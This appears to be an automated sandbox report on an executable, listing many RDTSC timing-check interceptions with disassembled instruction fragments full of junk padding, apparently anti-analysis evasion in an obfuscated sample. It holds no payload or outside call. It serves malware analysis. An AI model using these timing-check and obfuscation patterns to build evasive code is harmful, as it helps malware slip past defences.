Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E1587B second address: E1588F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4010E98D4Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E15E3C second address: E15E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E15E46 second address: E15E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E15E4A second address: E15E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E168FE second address: E16902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E16902 second address: E1691E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4010EA3D76h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F4010EA3D78h 0x00000012 pop edi 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E1691E second address: E16922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E16922 second address: E16926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E19C3A second address: E19C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4010E98D46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E19C45 second address: E19C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E19C4D second address: E19C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E23FF1 second address: E24019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F4010EA3D82h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E24019 second address: E24023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E28322 second address: E28328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E28328 second address: E28330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E29941 second address: E29956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E29956 second address: E2995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E2995C second address: E29973 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4010EA3D7Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E29973 second address: E2997A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E2997A second address: E2998B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4010EA3D78h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E2998B second address: E29991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3A80B second address: E3A811 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3A6B8 second address: E3A6C2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4010E98D46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3C019 second address: E3C01F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3C01F second address: E3C023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3C023 second address: E3C027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3DD04 second address: E3DD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3DD0A second address: E3DD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4010EA3D7Eh 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E3DD24 second address: E3DD2E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4010E98D46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E53686 second address: E536F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4010EA3D7Fh 0x00000008 jmp 00007F4010EA3D82h 0x0000000d pushad 0x0000000e popad 0x0000000f jnc 00007F4010EA3D76h 0x00000015 popad 0x00000016 push esi 0x00000017 jp 00007F4010EA3D76h 0x0000001d pop esi 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jno 00007F4010EA3D7Ah 0x00000028 pushad 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b jmp 00007F4010EA3D84h 0x00000030 jmp 00007F4010EA3D84h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E53984 second address: E5398C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E5398C second address: E53992 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E53AD3 second address: E53AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E54066 second address: E54076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4010EA3D76h 0x0000000a ja 00007F4010EA3D76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E542E8 second address: E542EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E542EC second address: E54309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D89h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E5444F second address: E54459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E54459 second address: E54470 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4010EA3D76h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007F4010EA3D76h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E55EDA second address: E55F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D4Eh 0x00000009 jmp 00007F4010E98D4Ch 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jmp 00007F4010E98D4Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E58EB6 second address: E58EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 and edx, dword ptr [ebp+124643F3h] 0x0000000f push dword ptr [ebp+1247442Ch] 0x00000015 sub dword ptr [ebp+122D194Ch], esi 0x0000001b push 04448F2Bh 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E58EDB second address: E58EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E5BC84 second address: E5BC88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D79479 second address: D7949A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4010E98D54h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 50F0432 second address: 50F0438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 50F0438 second address: 50F043C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 50F0468 second address: 50F046D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51107B2 second address: 5110802 instructions: 0x00000000 rdtsc 0x00000002 call 00007F4010E98D50h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bx, 87E6h 0x0000000e popad 0x0000000f push ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F4010E98D4Fh 0x00000019 adc si, 026Eh 0x0000001e jmp 00007F4010E98D59h 0x00000023 popfd 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110802 second address: 5110808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110808 second address: 511080C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 511080C second address: 5110810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110810 second address: 5110853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov ax, dx 0x0000000f call 00007F4010E98D57h 0x00000014 pop ebx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F4010E98D52h 0x0000001d xchg eax, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110853 second address: 5110857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110857 second address: 511085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 511085D second address: 5110907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov si, di 0x0000000e jmp 00007F4010EA3D7Dh 0x00000013 popad 0x00000014 xchg eax, ecx 0x00000015 pushad 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a mov bh, al 0x0000001c popad 0x0000001d push eax 0x0000001e pushad 0x0000001f mov bl, ah 0x00000021 jmp 00007F4010EA3D89h 0x00000026 popad 0x00000027 mov dword ptr [esp], esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F4010EA3D7Ch 0x00000031 xor esi, 41BC79C8h 0x00000037 jmp 00007F4010EA3D7Bh 0x0000003c popfd 0x0000003d jmp 00007F4010EA3D88h 0x00000042 popad 0x00000043 lea eax, dword ptr [ebp-04h] 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F4010EA3D87h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110907 second address: 511092B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 511092B second address: 511093E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 511093E second address: 511094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 098Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 511094F second address: 5110953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110953 second address: 5110959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110959 second address: 511097C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4010EA3D7Eh 0x00000009 xor ah, 00000078h 0x0000000c jmp 00007F4010EA3D7Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51109CF second address: 51109D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51109D3 second address: 51109D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51109D9 second address: 5110A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d pushad 0x0000000e call 00007F4010E98D4Eh 0x00000013 push eax 0x00000014 pop ebx 0x00000015 pop ecx 0x00000016 pushfd 0x00000017 jmp 00007F4010E98D57h 0x0000001c xor esi, 0D773B0Eh 0x00000022 jmp 00007F4010E98D59h 0x00000027 popfd 0x00000028 popad 0x00000029 mov esi, eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F4010E98D4Ch 0x00000032 add ecx, 72638188h 0x00000038 jmp 00007F4010E98D4Bh 0x0000003d popfd 0x0000003e mov edi, eax 0x00000040 popad 0x00000041 je 00007F4010E98D7Fh 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F4010E98D51h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110A74 second address: 5110A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110A7A second address: 5110A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110AA2 second address: 5110AA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110AA8 second address: 5110AEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4010E98D4Eh 0x00000011 xor ax, 38A8h 0x00000016 jmp 00007F4010E98D4Bh 0x0000001b popfd 0x0000001c mov cx, B39Fh 0x00000020 popad 0x00000021 leave 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F4010E98D4Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110AEE second address: 5110AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110AF2 second address: 5110AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5110AF8 second address: 51001C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 jmp 00007F4010EA3D72h 0x00000015 xor ebx, ebx 0x00000017 test al, 01h 0x00000019 jne 00007F4010EA3D77h 0x0000001b sub esp, 04h 0x0000001e mov dword ptr [esp], 0000000Dh 0x00000025 call 00007F40154114E5h 0x0000002a mov edi, edi 0x0000002c pushad 0x0000002d mov dh, ch 0x0000002f pushad 0x00000030 mov cx, bx 0x00000033 movsx edx, cx 0x00000036 popad 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 pushad 0x0000003a mov edx, eax 0x0000003c mov edx, esi 0x0000003e popad 0x0000003f push eax 0x00000040 jmp 00007F4010EA3D81h 0x00000045 xchg eax, ebp 0x00000046 pushad 0x00000047 mov eax, 75B16933h 0x0000004c mov edi, esi 0x0000004e popad 0x0000004f mov ebp, esp 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F4010EA3D81h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51001C0 second address: 5100253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4010E98D57h 0x00000009 sbb esi, 471622FEh 0x0000000f jmp 00007F4010E98D59h 0x00000014 popfd 0x00000015 jmp 00007F4010E98D50h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d sub esp, 2Ch 0x00000020 jmp 00007F4010E98D50h 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 jmp 00007F4010E98D4Eh 0x0000002c mov bl, ch 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F4010E98D4Ch 0x00000035 xchg eax, ebx 0x00000036 pushad 0x00000037 pushad 0x00000038 call 00007F4010E98D4Ch 0x0000003d pop ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100253 second address: 510029C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 mov ebx, 315D2D82h 0x0000000b pushfd 0x0000000c jmp 00007F4010EA3D83h 0x00000011 or ecx, 4AEE987Eh 0x00000017 jmp 00007F4010EA3D89h 0x0000001c popfd 0x0000001d popad 0x0000001e popad 0x0000001f xchg eax, edi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bx, cx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510029C second address: 51002AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4010E98D4Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100350 second address: 51003FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4010EA3D84h 0x0000000b popad 0x0000000c test al, al 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4010EA3D7Eh 0x00000015 add ax, 19B8h 0x0000001a jmp 00007F4010EA3D7Bh 0x0000001f popfd 0x00000020 call 00007F4010EA3D88h 0x00000025 pushfd 0x00000026 jmp 00007F4010EA3D82h 0x0000002b sub eax, 10FB7348h 0x00000031 jmp 00007F4010EA3D7Bh 0x00000036 popfd 0x00000037 pop ecx 0x00000038 popad 0x00000039 je 00007F4010EA3F7Ch 0x0000003f jmp 00007F4010EA3D7Fh 0x00000044 lea ecx, dword ptr [ebp-14h] 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F4010EA3D85h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100503 second address: 5100528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 5100528 second address: 51005C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F4081191CC1h 0x0000000f jmp 00007F4010EA3D7Eh 0x00000014 js 00007F4010EA3DF4h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F4010EA3D7Eh 0x00000021 add esi, 2C839D68h 0x00000027 jmp 00007F4010EA3D7Bh 0x0000002c popfd 0x0000002d mov cx, A75Fh 0x00000031 popad 0x00000032 cmp dword ptr [ebp-14h], edi 0x00000035 pushad 0x00000036 mov ax, 2357h 0x0000003a pushfd 0x0000003b jmp 00007F4010EA3D7Ch 0x00000040 adc ah, FFFFFFC8h 0x00000043 jmp 00007F4010EA3D7Bh 0x00000048 popfd 0x00000049 popad 0x0000004a jne 00007F4081191C6Ah 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F4010EA3D85h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 51005C4 second address: 510060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007F4010E98D4Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F4010E98D4Ch 0x0000001d and eax, 78723FB8h 0x00000023 jmp 00007F4010E98D4Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510060F second address: 510064B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov cx, FC71h 0x0000000d popad 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4010EA3D86h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: 510064B second address: 510065A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
